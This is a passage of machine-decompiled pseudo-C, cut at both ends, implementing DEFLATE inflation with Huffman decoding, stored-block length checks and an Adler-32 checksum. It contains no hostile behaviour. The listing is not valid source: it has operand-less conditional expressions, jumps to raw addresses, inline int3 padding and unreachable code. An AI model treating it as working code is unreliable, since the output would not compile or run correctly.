				signed int _t739;
				signed int _t743;
				void* _t749;
				signed int _t754;
				signed int _t756;
				signed int _t760;
				signed int _t764;
				signed int _t767;
				signed int _t771;
				void* _t776;
				signed int _t780;
				void* _t781;
				signed int _t786;
				void* _t787;
				void* _t788;
				signed int _t793;
				signed int _t794;
				void* _t796;
				signed int _t797;
				signed int _t804;
				signed int _t806;
				intOrPtr* _t808;
				void* _t809;
				signed int _t820;
				signed int _t822;
				intOrPtr _t824;
				signed char _t828;
				intOrPtr* _t830;
				void* _t831;
				signed int _t839;
				void* _t841;
				void* _t843;
				signed int _t845;
				intOrPtr _t846;
				signed int _t856;
				signed int _t859;
				void* _t860;
				void* _t861;
				void* _t862;
				void* _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				signed char _t868;
				signed char _t871;
				intOrPtr _t873;
				signed int _t876;
				void* _t877;
				signed char _t879;
				signed int _t880;
				signed int _t881;
				signed char _t886;
				signed int _t888;
				void* _t889;
				void* _t890;
				signed int _t893;
				signed char _t894;
				intOrPtr _t896;
				intOrPtr _t898;
				void* _t901;
				signed char _t902;
				signed char _t903;
				void _t904;
				signed int _t908;
				signed char _t913;
				void* _t914;
				void* _t915;
				signed int _t918;
				void* _t923;
				signed int _t927;
				signed char _t931;
				signed int _t932;
				signed char _t935;
				signed int _t936;
				void* _t944;
				signed int _t959;
				unsigned int _t962;
				signed int _t963;
				signed int _t965;
				signed int _t969;
				signed int* _t970;
				signed char* _t975;
				void* _t976;
				void* _t981;
				signed int _t982;
				signed int _t983;
				signed int _t986;
				signed int _t987;
				signed int _t989;
				signed int _t991;
				signed int _t992;
				signed int _t995;
				signed int _t999;
				signed int _t1005;
				signed int _t1006;
				int _t1007;
				int _t1009;
				signed int _t1010;
				unsigned int _t1013;
				void* _t1017;
				intOrPtr _t1018;
				signed char _t1019;
				void _t1022;
				void* _t1024;
				signed int _t1025;
				void* _t1027;
				int _t1032;
				signed int _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1038;
				void* _t1040;
				signed int _t1042;
				signed int _t1043;
				unsigned int _t1045;
				signed int _t1046;
				unsigned int _t1048;
				signed int _t1049;
				signed char _t1057;
				void* _t1058;
				void* _t1060;
				void* _t1061;

				L0:
				while(1) {
					L0:
					_t1043 = __esi;
					_t1022 = __edi;
					_t841 = __ebx;
					_t596 = memset(__edi + 0x1b80, 0, ??);
					_t962 =  *(_t1058 - 4);
					_t1061 = _t1060 + 0xc;
					while(1) {
						L135:
						 *(_t1058 - 8) = _t893;
						__eflags = _t893 -  *((intOrPtr*)(_t1022 + 0x34));
						if(_t893 >=  *((intOrPtr*)(_t1022 + 0x34))) {
							break;
						}
						L136:
						__eflags = _t1043 - 3;
						if(_t1043 >= 3) {
							L139:
							_t927 = _t991 & 0x00000007;
							_t991 = _t991 >> 3;
							_t1043 = _t1043 - 3;
							 *(_t1058 - 4) = _t991;
							 *(_t1058 - 0x1c) = _t1043;
							_t596 =  *( *(_t1058 - 8) + 0x2afa24) & 0x000000ff;
							 *(_t596 + _t1022 + 0x1b80) = _t927;
							_t893 =  *(_t1058 - 8) + 1;
							continue;
						} else {
							while(1) {
								L137:
								__eflags = _t841 -  *(_t1058 - 0x20);
								if(_t841 >=  *(_t1058 - 0x20)) {
									break;
								}
								L138:
								_t596 = ( *_t841 & 0x000000ff) << _t1043;
								_t841 = _t841 + 1;
								_t991 = _t991 | _t596;
								 *(_t1058 - 0x18) = _t841;
								_t1043 = _t1043 + 8;
								 *(_t1058 - 4) = _t991;
								__eflags = _t1043 - 3;
								if(_t1043 < 3) {
									continue;
								} else {
									goto L139;
								}
								goto L295;
							}
							L249:
							 *_t1022 = 0xe;
							L285:
							__eflags =  *(_t1058 + 0x18) & 0x00000002;
							L286:
							L287:
							_t597 =  !=  ? 1 : _t596;
							 *(_t1058 - 0xc) = _t597;
							__eflags = _t597 - 1;
							if(_t597 != 1) {
								L288:
								__eflags = _t597 - 0xfffffffc;
								if(_t597 != 0xfffffffc) {
									L289:
									L292:
									_t642 =  *(_t1058 - 0x3c);
									__eflags = _t841 - _t642;
									if(_t841 > _t642) {
										while(1) {
											L293:
											__eflags = _t1043 - 8;
											if(_t1043 < 8) {
												goto L295;
											}
											L294:
											_t841 = _t841 - 1;
											_t1043 = _t1043 - 8;
											__eflags = _t841 - _t642;
											if(_t841 > _t642) {
												continue;
											}
											goto L295;
										}
									}
								}
							}
						}
						L295:
						_t963 =  *(_t1058 - 4);
						L296:
						 *(_t1022 + 4) = _t1043;
						asm("bts ecx, esi");
						__eflags = _t1043 - 0x20;
						_t599 =  >=  ? 0 : 0;
						_t856 = 0 ^ _t599;
						__eflags = _t1043 - 0x40;
						_t600 =  >=  ? _t856 : _t599;
						 *(_t1022 + 0x20) =  *(_t1058 - 0x28);
						_t965 =  *(_t1058 - 0x10) -  *(_t1058 + 0x10);
						__eflags =  *(_t1058 + 0x18) & 0x00000009;
						 *(_t1022 + 0x24) =  *(_t1058 - 8);
						 *(_t1022 + 0x28) =  *(_t1058 - 0x38);
						 *((intOrPtr*)(_t1022 + 0x3c)) =  *((intOrPtr*)(_t1058 - 0x48));
						 *(_t1022 + 0x38) = _t856 - 0x00000001 & _t963;
						 *(_t1058 - 0x10) = _t965;
						 *((intOrPtr*)( *((intOrPtr*)(_t1058 + 8)))) = _t841 -  *(_t1058 - 0x3c);
						_t843 =  *(_t1058 - 0xc);
						 *( *(_t1058 + 0x14)) = _t965;
						if(( *(_t1058 + 0x18) & 0x00000009) != 0) {
							L297:
							__eflags = _t843;
							if(_t843 >= 0) {
								L298:
								_t1045 =  *(_t1022 + 0x1c);
								_t859 = _t1045 & 0x0000ffff;
								_t610 = (0x5e6ea9af * _t965 >> 0x20 >> 0xb) * 0x15b0;
								_t1046 = _t1045 >> 0x10;
								 *(_t1058 - 0x3c) = _t1046;
								_t969 =  *(_t1058 - 0x10) - _t610;
								__eflags =  *(_t1058 - 0x10);
								 *(_t1058 - 0x34) = _t969;
								if( *(_t1058 - 0x10) != 0) {
									L299:
									_t845 = _t969;
									do {
										L300:
										_t970 = 0;
										 *(_t1058 + 0x14) = 0;
										__eflags = _t845 - 7;
										if(_t845 > 7) {
											L301:
											goto 0x2c15c6;
											asm("int3");
											asm("int3");
											asm("int3");
											L302:
											_t1024 = _t1022 - _t610;
											__eflags = _t1024;
											do {
												L303:
												_t970 =  &(_t970[2]);
												_t861 = _t859 + ( *_t610 & 0x000000ff);
												_t862 = _t861 + ( *( *(_t1058 + 0x10) + 1) & 0x000000ff);
												_t863 = _t862 + ( *( *(_t1058 + 0x10) + 2) & 0x000000ff);
												_t864 = _t863 + ( *( *(_t1058 + 0x10) + 3) & 0x000000ff);
												_t865 = _t864 + ( *( *(_t1058 + 0x10) + 4) & 0x000000ff);
												_t866 = _t865 + ( *( *(_t1058 + 0x10) + 5) & 0x000000ff);
												_t867 = _t866 + ( *( *(_t1058 + 0x10) + 6) & 0x000000ff);
												_t859 = _t867 + ( *( *(_t1058 + 0x10) + 7) & 0x000000ff);
												_t640 =  *(_t1058 + 0x10) + 8;
												_t1046 = _t1046 + _t861 + _t862 + _t863 + _t864 + _t865 + _t866 + _t867 + _t859;
												 *(_t1058 + 0x10) = _t640;
												__eflags = _t1024 + _t640 - _t845;
												_t610 =  *(_t1058 + 0x10);
											} while (_t1024 + _t640 < _t845);
											 *(_t1058 + 0x14) = _t970;
											 *(_t1058 - 0x3c) = _t1046;
										}
										L305:
										_t1022 = 0;
										 *((intOrPtr*)(_t1058 + 8)) = 0;
										__eflags = _t970 - _t845;
										if(_t970 < _t845) {
											L306:
											__eflags = _t845 - _t970 - 2;
											if(_t845 - _t970 >= 2) {
												L307:
												_t620 =  *(_t1058 + 0x14);
												_t1049 =  *(_t1058 + 0x10);
												_t846 = 0;
												_t981 = (_t845 - _t620 - 2 >> 1) + 1;
												__eflags = _t981;
												 *(_t1058 + 0x14) = _t620 + _t981 * 2;
												do {
													L308:
													_t860 = _t859 + ( *_t1049 & 0x000000ff);
													_t623 =  *(_t1049 + 1) & 0x000000ff;
													_t1022 = _t1022 + _t860;
													_t1049 = _t1049 + 2;
													_t859 = _t860 + _t623;
													_t846 = _t846 + _t859;
													_t981 = _t981 - 1;
													__eflags = _t981;
												} while (_t981 != 0);
												_t970 =  *(_t1058 + 0x14);
												 *(_t1058 + 0x10) = _t1049;
												_t1046 =  *(_t1058 - 0x3c);
												 *((intOrPtr*)(_t1058 + 8)) = _t846;
												_t845 =  *(_t1058 - 0x34);
											}
											L310:
											__eflags = _t970 - _t845;
											if(_t970 < _t845) {
												_t975 =  *(_t1058 + 0x10);
												_t859 = _t859 + ( *_t975 & 0x000000ff);
												_t1046 = _t1046 + _t859;
												_t976 =  &(_t975[1]);
												__eflags = _t976;
												 *(_t1058 + 0x10) = _t976;
											}
											L312:
											_t610 =  *((intOrPtr*)(_t1058 + 8)) + _t1022;
											_t1046 = _t1046 + _t610;
											__eflags = _t1046;
										}
										L313:
										L314:
										_t859 = _t859 + (_t610 * _t859 >> 0x20 >> 0xf) * 0xffff000f;
										_t610 = (0x80078071 * _t1046 >> 0x20 >> 0xf) * 0xffff000f;
										_t1046 = _t1046 + _t610;
										_t586 = _t1058 - 0x10;
										 *_t586 =  *(_t1058 - 0x10) - _t845;
										__eflags =  *_t586;
										_t845 = 0x15b0;
										 *(_t1058 - 0x3c) = _t1046;
										 *(_t1058 - 0x34) = 0x15b0;
									} while ( *_t586 != 0);
									goto 0x2c15ef;
									asm("int3");
								}
								L316:
								_t1048 = (_t1046 << 0x10) + _t859;
								 *(_t1022 + 0x1c) = _t1048;
								__eflags = _t843;
								if(_t843 == 0) {
									__eflags =  *(_t1058 + 0x18) & 0x00000001;
									if(( *(_t1058 + 0x18) & 0x00000001) != 0) {
										__eflags = _t1048 -  *(_t1022 + 0x10);
										_t843 =  !=  ? 0xfffffffe : _t843;
										__eflags = _t843;
									}
								}
							}
						}
						L319:
						return _t843;
						L320:
					}
					L140:
					 *((intOrPtr*)(_t1022 + 0x34)) = 0x13;
					while(1) {
						L141:
						_t694 =  *(_t1022 + 0x18);
						__eflags = _t694;
						if(_t694 >= 0) {
							break;
						}
						L218:
						_t982 =  *(_t1058 - 4);
						while(1) {
							L39:
							_t879 =  *(_t1058 - 0x20) - _t841;
							__eflags = _t879 - 4;
							if(_t879 < 4) {
								goto L58;
							}
							L40:
							_t1022 =  *(_t1058 - 0x14);
							__eflags =  *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) - 2;
							if( *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1043 - 0xf;
								if(_t1043 < 0xf) {
									_t995 =  *(_t841 + 1) & 0x000000ff;
									_t879 = _t1043;
									_t722 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | (_t995 << 0x00000008 | _t722) << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
								}
								_t596 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t596;
								__eflags = _t596;
								if(_t596 < 0) {
									L45:
									goto 0x2c145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t709 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t709 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L44:
									_t879 = _t596 >> 9;
								}
								L48:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 & 0x00000100;
								if((_t880 & 0x00000100) != 0) {
									L84:
									_t881 = _t880 & 0x000001ff;
									 *(_t1058 - 8) = _t881;
									__eflags = _t881 - 0x100;
									if(_t881 != 0x100) {
										L219:
										_t673 = _t881 * 4 - 0x404;
										_t868 =  *(_t673 + 0x2af010);
										_t596 =  *(_t673 + 0x2afa48);
										 *(_t1058 - 0x38) = _t868;
										 *(_t1058 - 8) = _t596;
										__eflags = _t868;
										if(_t868 == 0) {
											L225:
											__eflags = _t1043 - 0xf;
											if(_t1043 >= 0xf) {
												L3:
												_t655 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
												 *(_t1058 - 0x1c) = _t655;
												if(_t655 < 0) {
													L5:
													goto 0x2c13e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t657 = _t962 >> _t868;
														_t868 = _t868 + 1;
														_t841 =  *((short*)(_t1022 + 0x1700 + ((_t657 & 0x00000001) +  !_t841) * 2));
														__eflags = _t841;
													} while (_t841 < 0);
													 *(_t1058 - 0x1c) = _t841;
													_t841 =  *(_t1058 - 0x18);
													_t660 =  *(_t1058 - 0x1c);
												} else {
													L4:
													_t868 = _t655 >> 9;
													_t660 = _t655 & 0x000001ff;
												}
												L9:
												_t982 = _t962 >> _t868;
												_t1043 = _t1043 - _t868;
												_t871 =  *(0x2af090 + _t660 * 4);
												_t596 =  *(0x2af110 + _t660 * 4);
												 *(_t1058 - 4) = _t982;
												 *(_t1058 - 0x38) = _t871;
												 *(_t1058 - 0x28) = _t596;
												if(_t871 == 0) {
													L15:
													_t873 =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 + 0xc));
													 *((intOrPtr*)(_t1058 - 0x48)) = _t873;
													if(_t596 <= _t873 || ( *(_t1058 + 0x18) & 0x00000004) == 0) {
														L17:
														_t1022 =  *(_t1058 - 0x14);
														_t876 = (_t873 - _t596 &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc));
														 *(_t1058 - 0xc) = _t876;
														_t662 =  >  ?  *(_t1058 - 0x10) : _t876;
														_t877 =  *(_t1058 - 8);
														_t663 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877;
														_t1075 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877 -  *((intOrPtr*)(_t1058 - 0x40));
														if(( >  ?  *(_t1058 - 0x10) : _t876) + _t877 <=  *((intOrPtr*)(_t1058 - 0x40))) {
															L21:
															__eflags = _t877 - 9;
															if(_t877 < 9) {
																L30:
																goto 0x2c1420;
																asm("int3");
																do {
																	L32:
																	_t877 = _t877 - 3;
																	 *_t1022 =  *_t982 & 0x000000ff;
																	 *((char*)(_t1022 + 1)) =  *(_t982 + 1) & 0x000000ff;
																	_t666 =  *(_t982 + 2) & 0x000000ff;
																	_t982 = _t982 + 3;
																	 *(_t1022 + 2) = _t666;
																	_t1022 = _t1022 + 3;
																	__eflags = _t877 - 2;
																} while (_t877 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t877 -  *(_t1058 - 0x28);
																if(_t877 >  *(_t1058 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1042 =  *(_t1058 - 0xc);
																	_t959 =  *(_t1058 - 0x10);
																	_t828 = (_t877 & 0xfffffff8) + _t1042;
																	 *(_t1058 - 0x24) = _t828;
																	_t1019 = _t828;
																	do {
																		L24:
																		 *_t959 =  *_t1042;
																		_t830 =  *((intOrPtr*)(_t1042 + 4));
																		_t1042 = _t1042 + 8;
																		 *((intOrPtr*)(_t959 + 4)) = _t830;
																		_t959 = _t959 + 8;
																		__eflags = _t1042 - _t1019;
																	} while (_t1042 < _t1019);
																	_t982 =  *(_t1058 - 4);
																	 *(_t1058 - 0x10) = _t959;
																	_t877 =  *(_t1058 - 8) & 0x00000007;
																	 *(_t1058 - 0xc) = _t1042;
																	_t1022 =  *(_t1058 - 0x14);
																	 *(_t1058 - 8) = _t877;
																	__eflags = _t877 - 3;
																	if(_t877 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t831 = _t877;
																_t877 = _t877 - 1;
																 *(_t1058 - 8) = _t877;
																if(_t831 == 0) {
																	goto L39;
																}
																L19:
																if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																	L238:
																	 *(_t1058 - 0xc) = 2;
																	 *_t1022 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																	 *((intOrPtr*)(_t1058 - 0x48)) =  *((intOrPtr*)(_t1058 - 0x48)) + 1;
																	 *( *(_t1058 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1058 - 0x48)) -  *(_t1058 - 0x28) &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc))));
																	_t982 =  *(_t1058 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t879 =  *(_t1058 - 0x20) - _t841;
																__eflags = _t879 - 4;
																if(_t879 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L270:
														_t684 = _t596 | 0xffffffff;
														 *_t1022 = 0x25;
														goto L291;
													}
												} else {
													L10:
													if(_t1043 >= _t871) {
														L13:
														_t1043 = _t1043 - _t871;
														_t839 = (_t596 << _t871) - 0x00000001 & _t982;
														_t982 = _t982 >> _t871;
														 *(_t1058 - 0x28) =  *(_t1058 - 0x28) + _t839;
														_t596 =  *(_t1058 - 0x28);
														 *(_t1058 - 4) = _t982;
														goto L15;
													} else {
														L11:
														while(_t841 <  *(_t1058 - 0x20)) {
															_t596 = ( *_t841 & 0x000000ff) << _t1043;
															_t841 = _t841 + 1;
															_t871 =  *(_t1058 - 0x38);
															_t982 = _t982 | _t596;
															_t1043 = _t1043 + 8;
															 *(_t1058 - 0x18) = _t841;
															 *(_t1058 - 4) = _t982;
															if(_t1043 < _t871) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														 *_t1022 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1058 - 0x20) - _t841 - 2;
												if( *(_t1058 - 0x20) - _t841 >= 2) {
													L237:
													_t983 =  *(_t841 + 1) & 0x000000ff;
													_t676 =  *_t841 & 0x000000ff;
													_t841 = _t841 + 2;
													_t1022 =  *(_t1058 - 0x14);
													_t868 = _t1043;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) =  *(_t1058 - 4) | _t983 << _t1043 + 0x00000008 | _t676 << _t868;
													_t1043 = _t1043 + 0x10;
													_t962 =  *(_t1058 - 4);
												} else {
													do {
														L227:
														_t596 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
														 *(_t1058 - 0x24) = _t596;
														__eflags = _t596;
														if(_t596 < 0) {
															L231:
															__eflags = _t1043 - 0xa;
															if(_t1043 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1058 - 0x1c) = _t868;
																while(1) {
																	L234:
																	_t868 =  *((short*)(_t1022 + 0x1700 + ((_t962 >> _t868 & 0x00000001) +  !( *(_t1058 - 0x24))) * 2));
																	_t652 =  *(_t1058 - 0x1c) + 1;
																	 *(_t1058 - 0x24) = _t868;
																	 *(_t1058 - 0x1c) = _t652;
																	__eflags = _t868;
																	if(_t868 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t596 = _t652 + 1;
																	__eflags = _t1043 - _t596;
																	if(_t1043 < _t596) {
																		goto L1;
																	} else {
																		L236:
																		_t868 =  *(_t1058 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t596 = _t596 >> 9;
															__eflags = _t596;
															if(_t596 == 0) {
																L1:
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L264:
																	 *_t1022 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t868 = _t1043;
														_t644 = ( *_t841 & 0x000000ff) << _t868;
														_t841 = _t841 + 1;
														_t962 = _t962 | _t644;
														 *(_t1058 - 0x18) = _t841;
														_t1043 = _t1043 + 8;
														 *(_t1058 - 4) = _t962;
													} while (_t1043 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1043 - _t868;
											if(_t1043 >= _t868) {
												L223:
												L224:
												_t1043 = _t1043 - _t868;
												_t680 = (_t596 << _t868) - 0x00000001 & _t962;
												_t962 = _t962 >> _t868;
												_t456 = _t1058 - 8;
												 *_t456 =  *(_t1058 - 8) + _t680;
												__eflags =  *_t456;
												 *(_t1058 - 4) = _t962;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L222:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t868 =  *(_t1058 - 0x38);
													_t962 = _t962 | _t596;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - _t868;
													if(_t1043 < _t868) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1022 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1022 + 0x14) & 0x00000001;
											if(( *(_t1022 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1043 - 3;
											if(_t1043 >= 3) {
												L89:
												_t1043 = _t1043 - 3;
												_t693 = _t962 & 0x00000007;
												_t991 = _t962 >> 3;
												 *(_t1022 + 0x14) = _t693;
												_t596 = _t693 >> 1;
												__eflags = _t596;
												 *(_t1058 - 4) = _t991;
												 *(_t1058 - 0x1c) = _t1043;
												 *(_t1022 + 0x18) = _t596;
												if(_t596 != 0) {
													L124:
													__eflags = _t596 - 3;
													if(_t596 == 3) {
														L266:
														 *(_t1058 - 0xc) = 0xffffffff;
														 *_t1022 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t596 - 1;
														if(_t596 != 1) {
															L128:
															_t893 = 0;
															__eflags = 0;
															while(1) {
																L129:
																 *(_t1058 - 8) = _t893;
																__eflags = _t893 - 3;
																if(_t893 >= 3) {
																	break;
																}
																L130:
																_t596 =  *((char*)(_t893 + 0x2af004));
																 *(_t1058 - 0x1c) = _t596;
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	L133:
																	_t1017 = _t1022 + _t893 * 4;
																	_t1036 =  *(_t1058 - 4);
																	 *(_t1017 + 0x2c) = (0x00000001 <<  *(_t1058 - 0x1c)) - 0x00000001 & _t1036;
																	_t804 =  *(_t1058 - 8);
																	_t931 =  *((char*)(_t804 + 0x2af004));
																	_t1037 = _t1036 >> _t931;
																	_t1043 = _t1043 - _t931;
																	_t932 = _t804;
																	 *(_t1058 - 4) = _t1037;
																	 *(_t1058 - 0x1c) = _t1043;
																	_t596 =  *(0x2afa38 + _t932 * 4);
																	 *(_t1017 + 0x2c) =  *(_t1017 + 0x2c) +  *(0x2afa38 + _t932 * 4);
																	_t991 = _t1037;
																	_t1022 =  *(_t1058 - 0x14);
																	_t893 = _t932 + 1;
																	continue;
																} else {
																	while(1) {
																		L131:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L132:
																		_t806 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t893 =  *(_t1058 - 8);
																		_t991 = _t991 | _t806;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 0x18) = _t841;
																		 *(_t1058 - 4) = _t991;
																		_t596 =  *((char*)(_t893 + 0x2af004));
																		 *(_t1058 - 0x1c) = _t596;
																		__eflags = _t1043 - _t596;
																		if(_t1043 < _t596) {
																			continue;
																		} else {
																			goto L133;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1022 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L134:
															goto L0;
														} else {
															L126:
															goto 0x2c14d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t596 + 0x2c)) = 0x120;
															L127:
															_t808 = _t596 + 1 - 0x20;
															 *_t808 =  *_t808 + _t808;
															_t841 = _t841 + _t808;
															_t809 = _t808 + 1;
															 *_t809 =  *_t809 ^ _t809;
															 *_t809 = _t809 +  *_t809;
															 *0xde0 =  *0xde0 + _t809;
															memset(_t809, ??, ??);
															asm("movdqa xmm0, [0x2afae0]");
															_t1061 = _t1061 + 0xc;
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqu [edi+0x70], xmm0");
															asm("movdqu [edi+0x80], xmm0");
															asm("movdqu [edi+0x90], xmm0");
															asm("movdqu [edi+0xa0], xmm0");
															asm("movdqu [edi+0xb0], xmm0");
															asm("movdqu [edi+0xc0], xmm0");
															_t1038 = _t1022 + 0xd0;
															asm("movdqa xmm0, [0x2afaf0]");
															asm("movdqu [edi], xmm0");
															asm("movdqu [edi+0x10], xmm0");
															asm("movdqu [edi+0x20], xmm0");
															asm("movdqu [edi+0x30], xmm0");
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqa xmm0, [0x2afad0]");
															asm("movdqu [edi+0x70], xmm0");
															asm("movq [edi+0x80], xmm0");
															 *((intOrPtr*)(_t1038 + 0x88)) = 0x8080808;
															 *((intOrPtr*)(_t1038 + 0x8c)) = 0x8080808;
															_t1022 =  *(_t1058 - 0x14);
															goto L141;
														}
													}
												} else {
													L90:
													_t596 = _t1043 & 0x00000007;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														L93:
														_t935 = _t1043 & 0x00000007;
														_t962 = _t991 >> _t935;
														_t1043 = _t1043 - _t935;
														 *(_t1058 - 4) = _t962;
														_t936 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1058 - 8) = _t936;
															__eflags = _t936 - 4;
															if(_t936 >= 4) {
																break;
															}
															L95:
															__eflags = _t1043;
															if(_t1043 == 0) {
																L101:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L244:
																	 *_t1022 = 7;
																	goto L285;
																} else {
																	L102:
																	_t596 =  *_t841;
																	_t841 = _t841 + 1;
																	(_t1022 + 0x2920)[_t936] = _t596;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 0x18) = _t841;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1043 - 8;
																if(_t1043 >= 8) {
																	L100:
																	(_t1022 + 0x2920)[_t936] = _t962;
																	_t1043 = _t1043 - 8;
																	_t962 = _t962 >> 8;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 4) = _t962;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L98:
																		_t596 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t962 = _t962 | _t596;
																		 *(_t1058 - 0x18) = _t841;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 4) = _t962;
																		__eflags = _t1043 - 8;
																		if(_t1043 < 8) {
																			continue;
																		} else {
																			L99:
																			_t936 =  *(_t1058 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1022 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t596 =  *(_t1022 + 0x2922) & 0x000000ff;
														 *(_t1058 - 8) = ( *(_t1022 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1022 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1058 - 8) - ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff);
														if( *(_t1058 - 8) != ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff)) {
															L265:
															 *(_t1058 - 0xc) = 0xffffffff;
															 *_t1022 = 0x27;
															goto L292;
														} else {
															L104:
															_t944 =  *(_t1058 - 8);
															while(1) {
																L105:
																__eflags = _t944;
																if(_t944 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1043;
																if(_t1043 == 0) {
																	L113:
																	_t596 =  *(_t1058 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t944;
																		if(_t944 == 0) {
																			break;
																		}
																		L116:
																		_t1018 =  *((intOrPtr*)(_t1058 - 0x40));
																		__eflags = _t596 - _t1018;
																		if(_t596 < _t1018) {
																			L118:
																			_t596 =  *(_t1058 - 0x20);
																			__eflags = _t841 - _t596;
																			if(_t841 >= _t596) {
																				L247:
																				_t1022 =  *(_t1058 - 0x14);
																				 *_t1022 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t962 = _t1018 -  *(_t1058 - 0x10);
																				_t1040 = _t596 - _t841;
																				__eflags = _t962 - _t1040;
																				_t814 =  <  ? _t962 : _t1040;
																				__eflags = ( <  ? _t962 : _t1040) - _t944;
																				if(( <  ? _t962 : _t1040) >= _t944) {
																					_t1022 = _t944;
																				} else {
																					__eflags = _t962 - _t1040;
																					_t1022 =  <  ? _t962 : _t1040;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t841 = _t841 + _t1022;
																				_t596 =  *(_t1058 - 0x10) + _t1022;
																				_t1061 = _t1061 + 0xc;
																				 *(_t1058 - 0x18) = _t841;
